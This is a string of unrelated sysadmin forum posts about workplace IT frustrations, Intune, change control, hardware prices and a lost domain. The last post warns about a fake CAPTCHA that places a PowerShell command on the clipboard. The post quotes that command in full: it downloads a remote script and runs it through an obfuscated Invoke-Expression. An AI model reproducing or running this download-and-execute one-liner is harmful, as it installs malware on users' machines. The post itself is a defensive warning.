Maybe this is a complaint but professional advice would be appreciated.

Long story short, I have a user who is a mid-tier supervisor in her area over a few staff. She is supervisor to the group but not considered a supervisor if that makes sense.

Whenever there is an IT problem in her area, she doesn't just send an email or put in a ticket that program x or device y isnt working, she sends an email that program x isnt working AGAIN or, device y has issues AGAIN. On top of that, she always cc's managers or superiors who are indeed above both of us.

As an example, 3 days back, program x, which is hosted on a client on or VM server, stopped working. For some reason, the host machine was shut down. Not a big deal. Restart the machine, inform user what happened, Bob's your uncle. Yesterday, program x went down again. This time, there was a time discrepancy on the client and the server and it took a little bit to figure out that was the problem. Fixed issue. Bobs your uncle.

The way I found out software wasn't working was an email with senior staff cc'd that the program wasn't working AGAIN.

I feel that her emails are passive aggressive towards me but I could be overreacting. Im not sure why senior staff are cc'd when there's a problem but she certainly doesn't send emails about any of the issues I have a win on.

Am i overreacting? Do you guys have issues like this or advice? Even if that advice is im being Jerky McJerkenstien of the Royal Douchery.

Hi everyone,
I’m a new systems administrator, so apologies if this is a basic question. I’m learning on the job and would really appreciate some guidance.
When I joined my current company, I found that they have been accessing their VMs only when they are physically in the office. From what I understand, the VMs are hosted on a local server, and I currently access that server remotely using TeamViewer.
We now have a requirement for one of the VMs to host software that will need to be accessed by quite a number of users remotely.
I’ve registered the VM with Azure using Azure Arc, so I can manage the VM and users/access through Azure. However, what I’m trying to figure out is how I can allow the users to access the VM remotely without requiring them to TeamViewer into the physical server first.

Is there a recommended way to achieve this? Is Azure Arc suitable for this, or is there another approach I should be looking at (e.g., VPN, RDP/RD Gateway, Azure Bastion, etc.)?
I’d appreciate any advice on the best/most secure way to approach this. I’m still learning, so please feel free to point out anything I may be misunderstanding.
Thanks!

Since this week, we have been experiencing significant problems with the following components within Intune:

- Autopilot via ESP (Takes an extremely long time, or gives an error message due to a timeout)

- Assigning Autopilot profiles to a device; the group tag is set correctly, the device is in the group, but assigning the profile takes almost 4 hours.

- Assigning Intune licenses to users; this is only detected after approximately 24 hours

I have created a ticket with Microsoft, but are other people experiencing these problems as well?

Thanks.

Anyone have it off hand? Need to cancel a few of our services and I keep getting hung up calling the 800-391-3000 number.

I'm a VP of Sales at a large IT company and on my last day got pulled into a random trouble ticket just because I had originally helped setup the application server as an engineer years ago. I went ahead and helped the T2 troubleshoot: static dns servers needed to be removed after a DC change.

Escalation PROBABLY shouldn't have reached out to me but fun to see the root cause is still DNS.

One of our ancient applications we still use has a very short username character length limitation, and the naming convention has always been the first four letters of last name, first initial of first name, and then 01, 02, etc.

I have a new user who needs access to the system, and due to all the circumstances, his username will be BoneR01. How would you handle this in my shoes?

If you're using DMARC then in your DMARC record you can specify an email address for rua or Report URI for Aggregate and then mail providers will send you XML reports to that address on whether they've delivered email sent by your server to mailboxes on their servers. Reasons not to deliver include DKIM failures.

So I was amused to discover today while looking through the spam bucket that Mimecast rua emails are currently being declared by our mail server as spam due to a DKIM failure on their side.

We don't send rua reports ...

My org is about 30,000 users in K12 environment. Our current process is to put a change request into out ticketing system. It gets routed to your direct supervisor for approval. If they approve, the workflow then sends it down to all the other directors in IT. Once that happens, it goes to the CTO.

The short version is that these requests are almost always approved, no questions asked. At this point it's a change NOTIFICATION, not a request, but I have to sit there and wait for every director to say yes and then poke the directors who don't check their email because the process cannot move forward without all members approving it at each level. Someone on vacation and forgot to put in OOO? I have no idea, so I just keep sending reminders.

It works okay but I feel like there has to be a better way. We are told to put in a change request for anything that might impact the district or any users, but the directors approving it are basically using it as a CYA, which I get.

Just curious what your process is, especially in a larger environment like this.

I have been buying servers for a large university for 15+ years.

In October of 2025 - you could get 128 cores, 512gb ram, 16tb raw ssd storage for right around $17k.

That exact same server cost $28k in February 2026.

Yesterday I price specced the same server. $128,500.00. That's $128k.

Buying on premise servers will no longer be feasible. All services will be subscription based and cloud provided going forward after today.

I am shocked. 64gb dimm is $8,000. Ram is x10, storage is x3.

This will have serious consequences to all services provided - everything will cost much more.

How are y’all doing general ops automation?

I’m taking it upon myself at my job to try and standardize some processes and automate them. We’re mostly entra, exchange online, sharepoint online, teams, etc. Basically heavily using M365 platform. Also sync on prem AD. We have scattered scripts and poor documentation for gui things. I’ve setup an Azure DevOps space for scripts and now I’m looking at how we run those as a team. We’re about a 15 employee size IT department and I don’t want us downloading scripts to just run them locally.

We do use a cloud based workflow tool (not power automate anymore) in IT and across the org. I was starting to look into Azure Automation to push data from the cloud based workflow tool via forms (thinking new employees, terms, teams management, etc). But before I got to deep, I figured I’d make this post to see what everyone else is doing and get more ideas.

Hi everyone,

I have a Windows 11 PC that runs Google Chrome essentially 24/7 in full-screen/kiosk-like mode. The PC is used for a specific display/application, so having Chrome update or require a browser restart during the week is inconvenient and can interrupt what the PC is being used for.

What I'd ideally like to achieve is:

• Chrome runs normally and doesn't update/restart during the week.
• Chrome updates are allowed during the weekend, when the interruption isn't an issue.
• Ideally this would be handled through a script, scheduled task, GPO, or Chrome policy rather than manually changing settings every week.
• After the weekend update, the normal weekday restrictions would automatically be restored.

The machine is running Windows 11.

Has anyone implemented something similar? I'm particularly interested in the best way to control the Google Update services/tasks or Chrome's update policies so that updates effectively happen during a defined maintenance window.

I know keeping Chrome updated is important for security; the goal here isn't to leave it permanently outdated, but rather to control when the update can take place because this particular PC needs to remain running uninterrupted during the week.

Thanks!

As in the title, could you / how would you, build your environment without using any Microsoft products and services?

This is a hypothetical parallel setup, not focused on what's easiest to transition or migrate to/from. This is the way the business environment works, and always has been.

I've read threads here which touch on some bits and pieces, but want to hear your thoughts on what would be the big things tying you to MS still.
- Apple, Google Chromebooks, and Linux are all options for workstations
- FreeIPA can provide a posix-native domain environment with many of the features of AD on-prem, and there are several major SaaS auth companies to choose from (Duo, etc.)
- Google Workspace is comparable to M365

I recently graduated with an A+ certification and 4 months co-op expierence and some projects, after applying for jobs I was eventually interviewed by a MSP where I applied for both IT analyst and Sys admin positions. After a rigorous 2 hour interview they offered me a position for junior sys admin, and straight out of school I feel that I have a lot of gaps in my knowledge for this role. I want to prepare as much as possible before I start but I am very confused on what I should begin studying, what should I go over ? What can I prepare within 2 weeks that will help me excel? This is my dream role and I want to do everything I can.

I mean if we don't know their priorities by now. There's just so many M365 products that can be improved upon but really just feels a lot will be left behind.

https://app.cloudscout.one/evergreen-item/mc1461528/

https://preview.redd.it/dajnhkkejmlh1.png?width=1234&format=png&auto=webp&s=4b9c5b3a07d5c261fa23d7b976cc56d614d4c325

For reference, it's 6:43 PM the *day after* for me right now

Pour one out for a local credit union who lost their domain yesterday (presumably from GoDaddy). As of today, it appears to have been taken by someone in Saudi Arabia. Their website, email, and texting have all been offline for close to 24 hours. No word yet on why the renewal lapsed or what happened.

Where would you begin? What escalation paths exist for restoration? What steps would you take for getting back online (temporarily and permanently).

We have a financial auditor at work who, to put it mildly, is an idiot. He can barely operate a computer, listen to basic troubleshooting steps, let alone let me control his computer when he gets me remotely connected into his device (which in itself is always a 15 minute process). Every time I am in his devices, I see angry emails from coworkers and managers asking him to stop whatever rambling about whatever non-issue he has (comments on a PDF disappearing because he created like, 15 versions of the same document with similar names). Because, he never actually has an issue, just thinks he does because he either hasn't opened whatever program he needs or hasn't connected to the VPN (Necessary for his departmental work apps).

He calls in for what would be his 4th ticket of the day, and he's having an issue with his laptop, surprise surprise. Not even sure if he knows what his issue was, but he had one. None of the techs on my team documented the device name or asset number, and it hadn't been assigned to his profile in azure or assigned as an asset in our asset management / ticketing system. Not sure how he even got this laptop, but he did.

So, I go to ask him for the serial number. It's too small according to him, so he cant read it. He only has a flip phone he barely knows how to use, so no picture of it. Again, no biggie. Ask him if he can read the asset number on the sticker on the lid for the laptop. Let me tell you guys, it was a bigger manhunt than the US put on for Bin Laden, i swear to god. This guy was so bad with computers that his brain somehow turned off what the word lid was, and he kept asking where the lid was. And I tried EVERYTHING. I called it the lid, I said look on the back of the screen, I said shut the laptop, look at the top, and read me the sticker, no dice.

At this point, I'm 35 minutes into the call; no work has actually been completed. I eventually tell him to go into the office the following day, and assign it to a deskside tech to physically look at the device with him. He still calls in about 5-10 times a week, and its just as bad every time; most of the time he has no actual issue to solve, he just clicks around the computer and hopes you can read his mind. Guy makes 120K a year.....

ETA, the deskside team sent the ticket back and CC'd my managers. I had them all listen to the call recording; it was promptly reassigned to the deskside team

So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.

The money shot https://imgur.com/a/Z4UHICZ

Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.

The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.

If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com

I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"